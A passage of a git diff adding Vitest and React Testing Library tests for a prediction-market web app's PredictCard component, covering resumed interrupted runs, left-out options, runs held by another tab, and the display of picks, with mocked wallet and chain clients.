= () => ({ + address: wallet.address, + addresses: wallet.address ? [wallet.address] : [], + chainId: wallet.chainId, + isConnected: wallet.address !== undefined, + status: wallet.address ? "connected" : "disconnected", + }); + + return { + ...actual, + getConnection: connection, + getAccount: connection, + getChainId: () => wallet.chainId, + sendTransaction: vi.fn( + async ( + _config: unknown, + params: { + to: `0x${string}`; + data?: `0x${string}`; + account?: `0x${string}` | { address: `0x${string}` }; + chainId?: number; + }, + ) => { + if (!wallet.address) throw named("ConnectorNotConnectedError"); + const account = typeof params.account === "object" ? params.account.address : params.account; + if (account !== undefined && account.toLowerCase() !== wallet.address.toLowerCase()) { + throw named("ConnectorAccountNotFoundError"); + } + if (params.chainId !== undefined && params.chainId !== wallet.chainId) + throw named("ConnectorChainMismatchError"); + + const hash = `0x${(chain.prompts.length + 1).toString(16).padStart(64, "0")}` as `0x${string}`; + chain.prompts.push({ from: wallet.address, chainId: wallet.chainId, to: params.to, data: params.data, hash }); + if ((chain.answers.shift() ?? "accept") === "reject") { + throw new UserRejectedRequestError(new Error("User denied transaction signature.")); + } + chain.known.add(hash); + return hash; + }, + ), + }; +}); + +vi.mock("wagmi", async (importOriginal) => { + const actual = await importOriginal(); + const connection = () => ({ + ...wallet, + addresses: wallet.address ? [wallet.address] : [], + isConnected: Boolean(wallet.address), + }); + return { ...actual, useAccount: connection, useConnection: connection, useChainId: () => wallet.chainId }; +}); + +vi.mock("@/lib/web3/wagmi", () => ({ wagmiConfig: {} })); +vi.mock("@/lib/graphql/batcher", () => ({ fetchGraphql: vi.fn() })); + +vi.mock("@/lib/web3/public-client", () => { + const receipt = (hash: Hash, status: "success" | "reverted") => ({ + transactionHash: hash, + status, + blockNumber: 19_000_000n, + blockHash: `0x${"b".repeat(64)}`, + logs: [], + }); + + return { + publicClient: { + async waitForTransactionReceipt({ hash }: { hash: Hash }) { + if (!chain.receipts.has(hash) && chain.holdMining) { + await new Promise((release) => chain.waiting.push(release)); + } + const status = chain.receipts.get(hash) ?? "success"; + chain.receipts.set(hash, status); + return receipt(hash, status); + }, + async getTransactionReceipt({ hash }: { hash: Hash }) { + const status = chain.receipts.get(hash); + if (!status) throw new TransactionReceiptNotFoundError({ hash }); + return receipt(hash, status); + }, + async getTransaction({ hash }: { hash: Hash }) { + if (!chain.known.has(hash)) throw new TransactionNotFoundError({ hash }); + return { hash }; + }, + }, + }; +}); + +vi.mock("@/features/predict/run/reader", async () => { + const { chainState } = await import("@/features/predict/flow/__tests__/support/fakes"); + return { + createPredictReader: () => ({ + isExecutorDeployed: () => Promise.resolve(chain.deployed), + collateralBalance: () => Promise.resolve(0n), + creditsBalance: () => Promise.resolve(0n), + managerCollateral: () => Promise.resolve(0n), + previewDeposit: (assets: bigint) => Promise.resolve(assets), + vaultValue: (shares: bigint) => Promise.resolve(shares), + latestBlock: () => Promise.resolve(1n), + latestTimestamp: () => Promise.resolve(0n), + blockGasLimit: () => Promise.resolve(17_000_000n), + estimateGas: () => Promise.reject(new Error("execution reverted")), + landedSince: () => Promise.resolve([]), + hasPending: () => Promise.resolve(false), + nextNonce: () => Promise.resolve(0), + sentWithNonce: () => Promise.resolve({ status: "none" as const }), + optionStates: ({ options }: { options: PredictOption[] }) => { + chain.asked.push(options.map((option) => option.targetPriceWad)); + chain.options = options; + return Promise.resolve(options.map(() => chainState())); + }, + }), + }; +}); + +vi.mock("@/lib/swap/lens", async () => { + const { fakeCreditsQuoter, poolQuoter } = await import("@/features/predict/flow/__tests__/support/fakes"); + return { + createLensQuoter: () => poolQuoter(() => chain.options), + createLensExactInputQuoter: () => fakeCreditsQuoter(), + }; +}); + +vi.mock("@/features/trade-executor/api/getExecutor", async (importOriginal) => ({ + ...(await importOriginal()), + useExecutor: () => ({ data: { predicted: wallet.address ? A_EXECUTOR : undefined, deployed: chain.deployed } }), +})); + +vi.mock("../usePredictFunding", () => ({ + usePredictFunding: () => ({ + credits: { state: "none" }, + funding: { + available: 10n * 10n ** 18n, + creditsAvailable: 0n, + credits: [], + creditsIn: 0n, + collateralIn: form.deposit, + tradeWallet: 0n, + fromTradeWallet: 0n, + toAdd: form.deposit, + deposit: form.deposit, + }, + canPayNative: false, + isPending: false, + }), +})); +vi.mock("../useHasPredicted", () => ({ useHasPredicted: () => true })); +vi.mock("@/components/wallet/EnsureChain", () => ({ default: ({ children }: { children: ReactNode }) => children })); +/* The real dialog reaches the Atlas provider, which only matters after the run is done. */ +vi.mock("../PredictSuccessDialog", () => ({ + PredictSuccessDialog: ({ isOpen }: { isOpen: boolean }) => (isOpen ?

    Prediction done

    : null), +})); + +afterAll(() => { + vi.unstubAllEnvs(); +}); + +const SESSION_ID = "7"; + +const session = () => + toSessionDetail( + { + ...sessionDetailColumns, + id: SESSION_ID, + collateralToken: addresses.collateralToken, + children: [sessionChildRow({ id: addresses.childMarkets[0] })], + }, + GATEWAY, + ); + +const selectedAt = (detail: ReturnType, value: number): SelectedEstimate[] => + detail.options.map((option) => ({ scale: option, value, marketEstimate: 200, direction: "higher" })); + +const targetsFor = (value: number) => { + const detail = session(); + return toPredictOptions(detail, selectedAt(detail, value)).map((option) => option.targetPriceWad); +}; + +function connect(address: Address | undefined) { + wallet.address = address; + wallet.chainId = address === undefined ? undefined : gnosis.id; +} + +const wrapperFor = () => { + const client = new QueryClient({ defaultOptions: { queries: { retry: false } } }); + function Wrapper({ children }: { children: ReactNode }) { + return {children}; + } + return Wrapper; +}; + +const settle = () => new Promise((resolve) => setTimeout(resolve, 50)); + +const isDeposit = (prompt: Prompt) => isAddressEqual(prompt.to, addresses.collateralToken); +const transferOf = (prompt: Prompt) => { + const args = decodeFunctionData({ abi: erc20Abi, data: prompt.data as Hex }).args as readonly [Address, bigint]; + return { to: args[0].toLowerCase(), amount: args[1] }; +}; + +/** The visit before the reload: A predicts through the popup with the saved amount and estimate. */ +async function firstVisit(answers: Array<"accept" | "reject">, opts: { holdMining?: boolean } = {}) { + connect(A); + form.deposit = SAVED.deposit; + form.estimate = SAVED.estimate; + chain.answers.push(...answers); + chain.holdMining = opts.holdMining ?? false; + const detail = session(); + const view = render( + , + { wrapper: wrapperFor() }, + ); + const predict = () => screen.getByRole("button", { name: "Predict" }); + await waitFor(() => expect(predict()).toBeEnabled()); + await userEvent.click(predict()); + return view; +} + +/** A's deposit lands in the trade wallet, A turns the prediction down and reloads. */ +async function leaveDepositLandedPredictionRejected() { + const view = await firstVisit(["accept", "reject"]); + await waitFor(() => expect(document.body.textContent).toContain("You declined in your wallet.")); + view.unmount(); + const deposit = chain.prompts.find(isDeposit)!; + expect(transferOf(deposit)).toEqual({ to: A_EXECUTOR, amount: SAVED.deposit }); + expect(chain.receipts.get(deposit.hash)).toBe("success"); +} + +/** A signs the deposit and closes the tab before it mines; it lands while the tab is closed. */ +async function leaveDepositLandedWhileClosed() { + const view = await firstVisit([], { holdMining: true }); + await waitFor(() => expect(chain.prompts.some(isDeposit)).toBe(true)); + view.unmount(); + mine(); + await settle(); + expect(chain.receipts.get(chain.prompts.find(isDeposit)!.hash)).toBe("success"); +} + +/** The next visit: the market page's predict card, nothing selected and nothing pressed. */ +async function nextVisit(address: Address = A) { + connect(address); + // the form behind the card is empty on a fresh visit + form.deposit = 0n; + form.estimate = 0; + const before = chain.prompts.length; + render(, { wrapper: wrapperFor() }); + await settle(); + return { since: () => chain.prompts.slice(before) }; +} + +// PredictCard loads the success dialog with next/dynamic on first open; importing it here keeps +// its first load out of the first test's timeout. +beforeAll(async () => { + await import("../PredictSuccessDialog"); +}); + +const cardResume = () => screen.findByRole("button", { name: /resume/i }); + +/** Opens the run from the card's notice and continues it from wherever that leads. */ +async function resumeFromCard() { + await userEvent.click(await cardResume()); + await waitFor(() => expect(screen.getByRole("dialog")).toBeInTheDocument()); + const inDialog = within(screen.getByRole("dialog")); + const resume = inDialog.queryByRole("button", { name: /resume/i }); + if (resume) { + await waitFor(() => expect(resume).toBeEnabled()); + await userEvent.click(resume); + } +} + +beforeEach(() => { + window.localStorage.clear(); + chain.prompts.length = 0; + chain.answers.length = 0; + chain.receipts.clear(); + chain.known.clear(); + chain.waiting.length = 0; + chain.asked.length = 0; + chain.holdMining = false; + chain.deployed = true; + connect(undefined); +}); + +describe("an interrupted run on the next visit", () => { + const interrupted = [ + ["the deposit landed and the prediction was turned down", leaveDepositLandedPredictionRejected], + ["the deposit landed after the tab was closed", leaveDepositLandedWhileClosed], + ] as const; + + describe.each(interrupted)("when %s", (_name, leave) => { + it("is surfaced on the card, with its parked deposit, before anything is pressed", async () => { + await leave(); + + const { since } = await nextVisit(); + + expect(await cardResume()).toBeInTheDocument(); + expect(screen.queryByRole("dialog")).toBeNull(); + expect(document.body.textContent).toContain("7.25"); + expect(since()).toEqual([]); + }); + + it("finishes the saved prediction from the card's Resume without signing the deposit again", async () => { + await leave(); + const { since } = await nextVisit(); + chain.asked.length = 0; + + await resumeFromCard(); + + await waitFor(() => expect(screen.getByText("Prediction done")).toBeInTheDocument()); + expect(since().length).toBeGreaterThan(0); + expect(since().filter(isDeposit)).toEqual([]); + expect(chain.asked.length).toBeGreaterThan(0); + for (const targets of chain.asked) expect(targets).toEqual(targetsFor(SAVED.estimate)); + }); + }); + + it("is not surfaced when no run was left unfinished", async () => { + await nextVisit(); + + expect(screen.queryByRole("button", { name: /resume/i })).toBeNull(); + }); + + it("is not surfaced to another wallet", async () => { + await leaveDepositLandedPredictionRejected(); + + await nextVisit(B); + + expect(screen.queryByRole("button", { name: /resume/i })).toBeNull(); + }); +}); diff --git a/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictCard.leftOutOptions.test.tsx b/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictCard.leftOutOptions.test.tsx new file mode 100644 index 00000000..05264105 --- /dev/null +++ b/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictCard.leftOutOptions.test.tsx @@ -0,0 +1,170 @@ +import type { ReactNode } from "react"; + +import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; +import { act, render, screen, within } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import type { Address } from "viem"; +import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; + +import type { PredictDriver, PredictProgress } from "@/features/predict/run/types"; +import { useEstimateStore } from "@/features/predict/stores/estimateStore"; +import { sessionChildRow, sessionDetailColumns } from "@/features/sessions/utils/__tests__/fixtures"; +import { toSessionDetail } from "@/features/sessions/utils/toSessionDetail"; + +import { addresses, GATEWAY } from "@/testing/fixtures"; + +import { PredictCard } from "../PredictCard"; + +const THIRD_MARKET = "0x5555555555555555555555555555555555555555" as Address; + +const OPTIONS = [ + { market: addresses.childMarkets[0], name: "Greta Gerwig" }, + { market: addresses.childMarkets[1], name: "Denis Villeneuve" }, + { market: THIRD_MARKET, name: "Chloe Zhao" }, +] as const; + +vi.mock("@/lib/graphql/batcher", () => ({ fetchGraphql: vi.fn() })); +/* The factory cannot reference imports, so GATEWAY's value is restated. */ +vi.mock("@/config/ipfs", () => ({ IPFS_GATEWAY: "https://cdn.example.link/ipfs" })); +vi.mock("@/lib/web3/public-client", () => ({ publicClient: {} })); + +vi.mock("wagmi", async (importOriginal) => { + const { DEFAULT_CHAIN_ID } = await import("@/config/chains"); + return { + ...(await importOriginal()), + useAccount: () => ({ address: "0x9999999999999999999999999999999999999999", chainId: DEFAULT_CHAIN_ID }), + }; +}); + +vi.mock("@/config/contracts", async (importOriginal) => ({ + ...(await importOriginal()), + gnosisRouterAddress: () => "0x7777777777777777777777777777777777777777", + tradeExecutorFactoryAddress: () => "0x6666666666666666666666666666666666666666", +})); + +vi.mock("@/features/trade-executor/api/getExecutor", async (importOriginal) => ({ + ...(await importOriginal()), + useExecutor: () => ({ data: { predicted: "0x8888888888888888888888888888888888888888", deployed: true } }), +})); +vi.mock("../usePredictFunding", () => ({ + usePredictFunding: () => ({ funding: null, credits: { state: "none" }, canPayNative: false, isPending: false }), +})); +vi.mock("../useHasPredicted", () => ({ useHasPredicted: () => true })); +vi.mock("@/components/wallet/EnsureChain", () => ({ default: ({ children }: { children: ReactNode }) => children })); + +/* A visitor already subscribed, so the success dialog renders without the sign-in flow. */ +vi.mock("@kleros/kleros-app", async (importOriginal) => ({ + ...(await importOriginal()), + useAtlasProvider: () => ({ user: { email: "visitor@example.com" }, userExists: true }), +})); + +/** The run's progress as the real driver reports it; the mock hook re-renders on every change. */ +const run = vi.hoisted(() => { + const listeners = new Set<() => void>(); + let progress: unknown = null; + return { + get: () => progress, + set(next: unknown) { + progress = next; + listeners.forEach((listener) => listener()); + }, + subscribe(listener: () => void) { + listeners.add(listener); + return () => listeners.delete(listener); + }, + }; +}); + +vi.mock("@/features/predict/hooks/usePredictRun", async () => { + const { useSyncExternalStore } = await import("react"); + return { + usePredictRun: (input: unknown) => ({ + driver: input ? driver : null, + progress: useSyncExternalStore(run.subscribe, run.get, run.get), + }), + }; +}); + +const progressAt = (stage: PredictProgress["stage"], leftOut: Address[] = []): PredictProgress => ({ + stage, + steps: [], + leftOut, + batchesDone: stage === "complete" ? 1 : 0, + batches: 1, +}); + +// reset() throws the run away, its skipped list included, as the real driver does. +const driver = { + start: vi.fn(), + recover: vi.fn(), + resume: vi.fn(), + confirm: vi.fn(), + retry: vi.fn(), + discard: vi.fn(), + reset: vi.fn(() => run.set(progressAt("idle"))), + dispose: vi.fn(), + subscribe: vi.fn(() => () => {}), + getProgress: vi.fn(() => progressAt("idle")), +} satisfies PredictDriver; + +const session = () => + toSessionDetail( + { + ...sessionDetailColumns, + children: OPTIONS.map((option, index) => + sessionChildRow({ id: option.market, displayName: option.name, parentOutcomeIndex: String(index) }), + ), + }, + GATEWAY, + ); + +const MARKET_ESTIMATE = 250; + +async function predictAndComplete(leftOut: Address[]) { + const detail = session(); + for (const option of OPTIONS) useEstimateStore.getState().setEstimate(detail.parentMarket, option.market, 312); + const marketEstimates = Object.fromEntries(OPTIONS.map((option) => [option.market, MARKET_ESTIMATE])); + const client = new QueryClient({ defaultOptions: { queries: { retry: false } } }); + + render( + + + , + ); + await userEvent.click(screen.getByRole("button", { name: /^Predict (\d+ )?estimates?$/ })); + await screen.findByRole("dialog"); + act(() => run.set(progressAt("signing"))); + act(() => run.set(progressAt("complete", leftOut))); + + await screen.findByRole("dialog", { name: "Prediction successful" }); + expect(driver.reset).toHaveBeenCalled(); + return within(screen.getByRole("dialog")); +} + +// PredictCard loads these with next/dynamic on first open; importing them here keeps their +// first load out of the first test's timeout. +beforeAll(async () => { + await Promise.all([import("../PredictRunner"), import("../PredictSuccessDialog")]); +}); + +beforeEach(() => { + vi.clearAllMocks(); + window.localStorage.clear(); + useEstimateStore.setState({ estimates: {} }); + run.set(progressAt("idle")); +}); + +describe("a successful prediction that left options out", () => { + const cases = [ + ["one option", [OPTIONS[1]]], + ["two options", [OPTIONS[0], OPTIONS[2]]], + ] as const; + + it.each(cases)("names %s left out in the success dialog", async (_label, left) => { + const success = await predictAndComplete(left.map((option) => option.market)); + + for (const option of left) expect(success.getByText(new RegExp(option.name))).toBeInTheDocument(); + for (const option of OPTIONS.filter((candidate) => !left.includes(candidate as never))) + expect(success.queryByText(new RegExp(option.name))).toBeNull(); + }); +}); diff --git a/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictCard.otherTab.test.tsx b/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictCard.otherTab.test.tsx new file mode 100644 index 00000000..3e149b8e --- /dev/null +++ b/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictCard.otherTab.test.tsx @@ -0,0 +1,145 @@ +import { type ReactNode, useEffect } from "react"; + +import { act, render, screen } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { beforeEach, expect, it, vi } from "vitest"; + +import { ctx, snapshot, WAD } from "@/features/predict/flow/__tests__/support/fakes"; +import { predictFlowId } from "@/features/predict/run/interrupted"; +import { PROMPT_OPEN, RUNNING_ELSEWHERE } from "@/features/predict/utils/predictSteps"; +import { sessionDetailColumns } from "@/features/sessions/utils/__tests__/fixtures"; +import { toSessionDetail } from "@/features/sessions/utils/toSessionDetail"; + +import { createRunStore } from "@/lib/flowRunStore"; + +import { DEFAULT_CHAIN_ID } from "@/config/chains"; + +import { GATEWAY } from "@/testing/fixtures"; + +import { PredictCard } from "../PredictCard"; + +const OWNER = "0xa11ce000000000000000000000000000000a11ce"; +const FLOW_ID = predictFlowId("7", OWNER); + +/** Whether another tab answers that it holds the run, and whether this tab holds it. */ +const other = vi.hoisted(() => ({ holds: true, here: false })); + +vi.mock("wagmi", async (importOriginal) => ({ + ...(await importOriginal()), + useAccount: () => ({ address: OWNER }), +})); +vi.mock("@/components/wallet/EnsureChain", () => ({ default: ({ children }: { children: ReactNode }) => children })); +vi.mock("@/features/predict/run/ownership", () => ({ + tabOwnership: () => ({ + claim: () => Promise.resolve(null), + heldElsewhere: () => Promise.resolve(other.holds), + heldHere: () => other.here, + }), +})); + +/* stands in for the popup: its driver holds the run from mount until it is disposed on unmount */ +vi.mock("../PredictRunner", () => ({ + PredictRunner: ({ onClose }: { onClose: () => void }) => { + useEffect(() => { + other.here = true; + return () => { + other.here = false; + }; + }, []); + return ( +
    + +
    + ); + }, +})); + +const session = () => toSessionDetail({ ...sessionDetailColumns, id: "7", children: [] }, GATEWAY); + +/** What tab A leaves in shared storage while its wallet prompt for the deposit is open. */ +function plantLiveRun() { + createRunStore().save({ + flowId: FLOW_ID, + adapterId: "predict-flow", + snapshot: snapshot({ deposit: WAD * 3n }), + ctx: ctx({ owner: OWNER, chainId: DEFAULT_CHAIN_ID }), + steps: [ + { stepId: "create-wallet", label: "Set up", outcome: { status: "skipped" } }, + { stepId: "deposit", label: "Add funds", outcome: { status: "awaiting-signature" } }, + { stepId: "predict-1", label: "Predict", outcome: { status: "pending" } }, + ], + status: "running", + }); +} + +beforeEach(() => { + window.localStorage.clear(); + other.holds = true; + other.here = false; +}); + +it("shows a run another tab is driving as running there, with Resume and Discard held", async () => { + plantLiveRun(); + render(); + + expect(await screen.findByText(RUNNING_ELSEWHERE, { exact: false })).toBeInTheDocument(); + expect(screen.queryByRole("button", { name: "Discard" })).toBeNull(); + expect(screen.getByRole("button", { name: "Resume" })).toBeDisabled(); + expect(createRunStore().load(FLOW_ID)).not.toBeNull(); +}); + +it("offers Resume and Discard once the other tab lets the run go", async () => { + plantLiveRun(); + render(); + await screen.findByText(RUNNING_ELSEWHERE, { exact: false }); + + other.holds = false; + act(() => { + window.dispatchEvent(new StorageEvent("storage", { key: `foresight.tx-flow.${FLOW_ID}` })); + }); + + expect(await screen.findByRole("button", { name: "Discard" })).toBeEnabled(); + expect(screen.getByRole("button", { name: "Resume" })).toBeEnabled(); + expect(screen.queryByText(RUNNING_ELSEWHERE, { exact: false })).toBeNull(); +}); + +it("keeps the run when another tab takes it between the card's check and the Discard", async () => { + plantLiveRun(); + // the check answers that no tab holds it, and the lock is taken by the time Discard asks for it + other.holds = false; + render(); + + await userEvent.click(await screen.findByRole("button", { name: "Discard" })); + + expect(createRunStore().load(FLOW_ID)).not.toBeNull(); +}); + +it("says a wallet prompt from this page is still open while this tab holds the run, with Discard held", async () => { + plantLiveRun(); + other.holds = false; + other.here = true; + render(); + + expect(await screen.findByText(PROMPT_OPEN, { exact: false })).toBeInTheDocument(); + expect(screen.queryByText(RUNNING_ELSEWHERE, { exact: false })).toBeNull(); + expect(screen.getByRole("button", { name: "Discard" })).toBeDisabled(); +}); + +it("never says a prompt is open as a popup that held the run closes and lets it go", async () => { + plantLiveRun(); + other.holds = false; + const { container } = render(); + await userEvent.click(await screen.findByRole("button", { name: "Resume" })); + const shown: string[] = []; + const observer = new MutationObserver((records) => { + for (const record of records) for (const node of record.addedNodes) shown.push(node.textContent ?? ""); + }); + observer.observe(container, { childList: true, subtree: true, characterData: true }); + + await userEvent.click(screen.getByRole("button", { name: "Close" })); + await screen.findByRole("button", { name: "Discard" }); + observer.disconnect(); + + expect(shown.join(" ")).not.toContain(PROMPT_OPEN); + expect(screen.getByRole("button", { name: "Discard" })).toBeEnabled(); +}); diff --git a/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictCard.picks.test.tsx b/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictCard.picks.test.tsx new file mode 100644 index 00000000..e28eb34d --- /dev/null +++ b/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictCard.picks.test.tsx @@ -0,0 +1,148 @@ +import type { ReactNode } from "react"; + +import { render, screen, within } from "@testing-library/react"; +import { beforeEach, describe, expect, it, vi } from "vitest"; + +import { useEstimateStore } from "@/features/predict/stores/estimateStore"; +import type { SessionDetail, SessionStatus } from "@/features/sessions/types"; +import { sessionChildRow, sessionDetailColumns } from "@/features/sessions/utils/__tests__/fixtures"; +import { toSessionDetail } from "@/features/sessions/utils/toSessionDetail"; + +import { GATEWAY } from "@/testing/fixtures"; + +import { PredictCard } from "../PredictCard"; + +const account = vi.hoisted(() => ({ address: "0xa11ce000000000000000000000000000000a11ce" as string | undefined })); +vi.mock("wagmi", async (importOriginal) => ({ + ...(await importOriginal()), + useAccount: () => ({ address: account.address }), +})); +const chainGate = vi.hoisted(() => ({ classNames: [] as Array })); +vi.mock("@/components/wallet/EnsureChain", () => ({ + default: ({ children, className }: { children: ReactNode; className?: string }) => { + chainGate.classNames.push(className); + return children; + }, +})); + +const NAMES = ["Berlin", "Lisbon", "Nairobi", "Montevideo"]; +const MARKETS = ["0x1111", "0x2222", "0x3333", "0x4444"].map((head) => head.padEnd(42, head.slice(-1))); + +const session = (count: number): SessionDetail => + toSessionDetail( + { + ...sessionDetailColumns, + id: "7", + outcomeCount: String(count), + deployedChildCount: String(count), + children: NAMES.slice(0, count).map((name, index) => + sessionChildRow({ id: MARKETS[index], parentOutcomeIndex: String(index), displayName: name }), + ), + }, + GATEWAY, + ); + +/** Every pool sits at 250; the picks alternate above and below it. */ +const MARKET = 250; +const VALUES = [400, 120, 320, 180]; + +function pick(detail: SessionDetail) { + detail.options.forEach((option, index) => + useEstimateStore.getState().setEstimate(detail.parentMarket, option.market, VALUES[index]!), + ); +} + +function renderCard(detail: SessionDetail, status: SessionStatus = "trading") { + const marketEstimates = Object.fromEntries(detail.options.map((option) => [option.market.toLowerCase(), MARKET])); + return render(); +} + +const dock = () => document.querySelector("[data-predict-dock]"); + +beforeEach(() => { + window.localStorage.clear(); + account.address = "0xa11ce000000000000000000000000000000a11ce"; + useEstimateStore.getState().resetEstimates(session(4).parentMarket); + document.body.replaceChildren(); +}); + +describe("the predict card's picks", () => { + it("shows each pick as its name, its side of the market and its value, in the option's unit", () => { + const detail = session(2); + pick(detail); + renderCard(detail); + + const chips = within(screen.getByRole("list", { name: "Your estimates" })) + .getAllByRole("listitem") + .filter((item) => !item.hasAttribute("aria-label")); + expect(chips.map((chip) => chip.textContent)).toEqual(["Berlin400 $M", "Lisbon120 $M"]); + expect(within(chips[0]!).getByRole("img", { name: "above the market" })).toBeInTheDocument(); + expect(within(chips[1]!).getByRole("img", { name: "below the market" })).toBeInTheDocument(); + expect(within(chips[0]!).getByText("Berlin")).toHaveAttribute("title", "Berlin"); + }); + + it("names three picks from lg up and two below, and counts the rest", () => { + const detail = session(4); + pick(detail); + renderCard(detail); + + const list = screen.getByRole("list", { name: "Your estimates" }); + const chips = within(list) + .getAllByRole("listitem") + .filter((item) => !item.hasAttribute("aria-label")); + expect(chips).toHaveLength(4); + expect(chips[2]).toHaveClass("max-lg:hidden"); + expect(chips[3]).toHaveClass("hidden"); + expect(screen.getByLabelText("1 more estimate")).toHaveClass("max-lg:hidden"); + expect(screen.getByLabelText("2 more estimates")).toHaveClass("lg:hidden"); + }); + + it("shows no picks and no bar while nothing is set away from the market", () => { + renderCard(session(2)); + + expect(screen.queryByRole("list", { name: "Your estimates" })).toBeNull(); + expect(dock()).toBeNull(); + expect(screen.getByRole("button", { name: "Predict estimates" })).toBeDisabled(); + }); +}); + +describe("the phone bar at the bottom edge", () => { + it("is offered while Predict is live, its phone button saying Predict and the wide one the count", () => { + const detail = session(4); + pick(detail); + renderCard(detail); + + expect(dock()).not.toBeNull(); + expect(screen.getByRole("button", { name: "Predict" })).toBeEnabled(); + expect(screen.getByRole("button", { name: "Predict 4 estimates" })).toBeEnabled(); + }); + + it("is not drawn without a wallet; the card keeps its button and says why", () => { + account.address = undefined; + const detail = session(2); + pick(detail); + renderCard(detail); + + expect(dock()).toBeNull(); + expect(screen.getByRole("button", { name: "Predict 2 estimates" })).toBeDisabled(); + expect(screen.getByText("Connect a wallet to predict.")).toBeInTheDocument(); + }); + + it.each(["closed", "setting-up"] as const)("is not drawn while the session is %s", (status) => { + const detail = session(2); + pick(detail); + renderCard(detail, status); + + expect(dock()).toBeNull(); + }); + + it("hands its button's look to the wrong-chain switch that stands in for it", () => { + chainGate.classNames.length = 0; + const detail = session(2); + pick(detail); + renderCard(detail); + + expect(chainGate.classNames.length).toBeGreaterThan(0); + for (const className of chainGate.classNames) expect(className).toBe("predict-cta predict-card-cta"); + }); +}); diff --git a/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictCard.sends.test.tsx b/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictCard.sends.test.tsx new file mode 100644 index 00000000..fdac812f --- /dev/null +++ b/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictCard.sends.test.tsx @@ -0,0 +1,92 @@ +import type { ReactNode } from "react"; + +import { act, render, screen, within } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { beforeEach, describe, expect, it, vi } from "vitest"; + +import type { PredictSnapshot } from "@/features/predict/flow/types"; +import { useEstimateStore } from "@/features/predict/stores/estimateStore"; +import type { SelectedEstimate } from "@/features/predict/types"; +import type { SessionDetail } from "@/features/sessions/types"; +import { sessionChildRow, sessionDetailColumns } from "@/features/sessions/utils/__tests__/fixtures"; +import { toSessionDetail } from "@/features/sessions/utils/toSessionDetail"; + +import { GATEWAY } from "@/testing/fixtures"; + +import { PredictCard } from "../PredictCard"; + +const runner = vi.hoisted(() => ({ props: [] as Array> })); +vi.mock("next/dynamic", () => ({ + default: () => (props: Record) => { + if ("selected" in props) runner.props.push(props); + return null; + }, +})); +vi.mock("wagmi", async (importOriginal) => ({ + ...(await importOriginal()), + useAccount: () => ({ address: "0xa11ce000000000000000000000000000000a11ce" }), +})); +vi.mock("@/components/wallet/EnsureChain", () => ({ default: ({ children }: { children: ReactNode }) => children })); +const stored = vi.hoisted(() => ({ run: null as Partial | null })); +vi.mock("@/features/predict/run/interrupted", async (importOriginal) => ({ + ...(await importOriginal()), + findInterruptedRun: () => stored.run, + hasPendingTransaction: () => false, + discardRun: () => undefined, +})); + +const MARKETS = ["0x1111", "0x2222"].map((head) => head.padEnd(42, head.slice(-1))); +const detail: SessionDetail = toSessionDetail( + { + ...sessionDetailColumns, + id: "7", + outcomeCount: "2", + deployedChildCount: "2", + children: ["Berlin", "Lisbon"].map((name, index) => + sessionChildRow({ id: MARKETS[index], parentOutcomeIndex: String(index), displayName: name }), + ), + }, + GATEWAY, +); +const marketEstimates = Object.fromEntries(detail.options.map((option) => [option.market.toLowerCase(), 250])); + +function renderCard() { + detail.options.forEach((option, index) => + useEstimateStore.getState().setEstimate(detail.parentMarket, option.market, [400, 120][index]!), + ); + render(); +} + +beforeEach(() => { + window.localStorage.clear(); + runner.props.length = 0; + stored.run = null; + useEstimateStore.getState().resetEstimates(detail.parentMarket); + document.body.replaceChildren(); +}); + +describe("what the predict card shows against what Predict sends", () => { + it("after a placed run, names only the pick changed since, as Predict sends", async () => { + const user = userEvent.setup(); + renderCard(); + await user.click(screen.getByRole("button", { name: "Predict 2 estimates" })); + act(() => (runner.props.at(-1)!.onSuccess as (leftOut: string[], run: unknown) => void)([], {})); + + act(() => useEstimateStore.getState().setEstimate(detail.parentMarket, detail.options[0]!.market, 410)); + + const chips = within(screen.getByRole("list", { name: "Your estimates" })).getAllByRole("listitem"); + expect(chips.map((chip) => chip.textContent)).toEqual(["Berlin410 $M"]); + await user.click(screen.getByRole("button", { name: "Predict 1 estimate" })); + const sent = runner.props.at(-1)!.selected as SelectedEstimate[]; + expect(sent.map((estimate) => estimate.scale.name)).toEqual(["Berlin"]); + }); + + it("shows no picks and no bar while an unfinished run is stored, which Predict reopens", async () => { + stored.run = { deposit: 0n, creditsToSpend: 0n }; + renderCard(); + + await screen.findByRole("button", { name: "Resume" }); + expect(screen.queryByRole("list", { name: "Your estimates" })).toBeNull(); + expect(document.querySelector("[data-predict-dock]")).toBeNull(); + }); +}); diff --git a/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictCard.storedRun.test.tsx b/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictCard.storedRun.test.tsx new file mode 100644 index 00000000..c354ccfb --- /dev/null +++ b/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictCard.storedRun.test.tsx @@ -0,0 +1,240 @@ +import { Profiler, type ReactNode } from "react"; + +import { act, render, screen, waitFor } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { beforeEach, describe, expect, it, vi } from "vitest"; + +import { ctx, snapshot, WAD } from "@/features/predict/flow/__tests__/support/fakes"; +import { predictFlowId } from "@/features/predict/run/interrupted"; +import { useEstimateStore } from "@/features/predict/stores/estimateStore"; +import type { SessionDetail } from "@/features/sessions/types"; +import { sessionChildRow, sessionDetailColumns } from "@/features/sessions/utils/__tests__/fixtures"; +import { toSessionDetail } from "@/features/sessions/utils/toSessionDetail"; + +import { createRunStore } from "@/lib/flowRunStore"; + +import { DEFAULT_CHAIN_ID } from "@/config/chains"; + +import { addresses, GATEWAY } from "@/testing/fixtures"; + +import { PredictCard } from "../PredictCard"; + +const OWNER = "0xa11ce000000000000000000000000000000a11ce"; 